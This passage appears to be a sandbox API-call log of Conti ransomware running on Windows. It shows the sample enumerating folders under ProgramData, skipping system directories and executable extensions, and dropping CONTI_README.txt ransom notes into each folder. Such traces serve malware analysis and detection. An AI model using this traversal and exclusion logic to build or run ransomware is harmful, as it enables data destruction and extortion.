	[0106.829] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"
	[0106.829] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0106.829] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.829] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.829] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.830] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.830] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 76
	[0106.830] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.830] GetProcessHeap () returned 0x1720000
	[0106.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0106.830] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.830] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\"
	[0106.830] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml"
	[0106.830] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.830] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.830] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned 76
	[0106.830] lstrlenW (lpString="Prov") returned 4
	[0106.830] GetProcessHeap () returned 0x1720000
	[0106.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.830] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}"
	[0106.830] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\"
	[0106.830] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov"
	[0106.831] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned 81
	[0106.831] GetProcessHeap () returned 0x1720000
	[0106.831] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x65863e0
	[0106.831] lstrcpyW (in: lpString1=0x65863e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov"
	[0106.831] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*"
	[0106.831] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned 81
	[0106.831] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.831] GetProcessHeap () returned 0x1720000
	[0106.831] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cef8
	[0106.831] lstrcpyW (in: lpString1=0x181cef8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov"
	[0106.831] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\"
	[0106.831] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\CONTI_README.txt"
	[0106.831] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.831] GetProcessHeap () returned 0x1720000
	[0106.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cef8 | out: hHeap=0x1720000) returned 1
	[0106.831] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.832] CloseHandle (hObject=0x3a8) returned 1
	[0106.832] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8030
	[0106.832] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.832] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.832] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.832] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.832] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5384de49, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5384de49, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.832] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.833] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.833] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.833] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.833] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.833] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.833] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned 81
	[0106.833] lstrlenW (lpString="RunTime") returned 7
	[0106.833] GetProcessHeap () returned 0x1720000
	[0106.833] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.833] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov"
	[0106.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\"
	[0106.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.833] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.833] GetProcessHeap () returned 0x1720000
	[0106.833] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.833] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*"
	[0106.833] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.833] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.833] GetProcessHeap () returned 0x1720000
	[0106.833] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17bc3e0
	[0106.833] lstrcpyW (in: lpString1=0x17bc3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.834] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.834] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0106.841] GetProcessHeap () returned 0x1720000
	[0106.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc3e0 | out: hHeap=0x1720000) returned 1
	[0106.841] WriteFile (in: hFile=0x2ec, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.842] CloseHandle (hObject=0x2ec) returned 1
	[0106.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.847] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.847] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5384de49, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.853] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.853] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.853] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900a4472, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900a4472, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="0__CON~1.PRO")) returned 1
	[0106.854] lstrcmpiW (lpString1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.854] lstrcmpiW (lpString1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.854] StrStrIW (lpFirst="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.854] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.854] lstrlenW (lpString="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml") returned 88
	[0106.854] GetProcessHeap () returned 0x1720000
	[0106.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x166) returned 0x17c30b0
	[0106.854] lstrcpyW (in: lpString1=0x17c30b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml"
	[0106.854] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="100__C~1.PRO")) returned 1
	[0106.854] lstrcmpiW (lpString1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.854] lstrcmpiW (lpString1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.854] StrStrIW (lpFirst="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
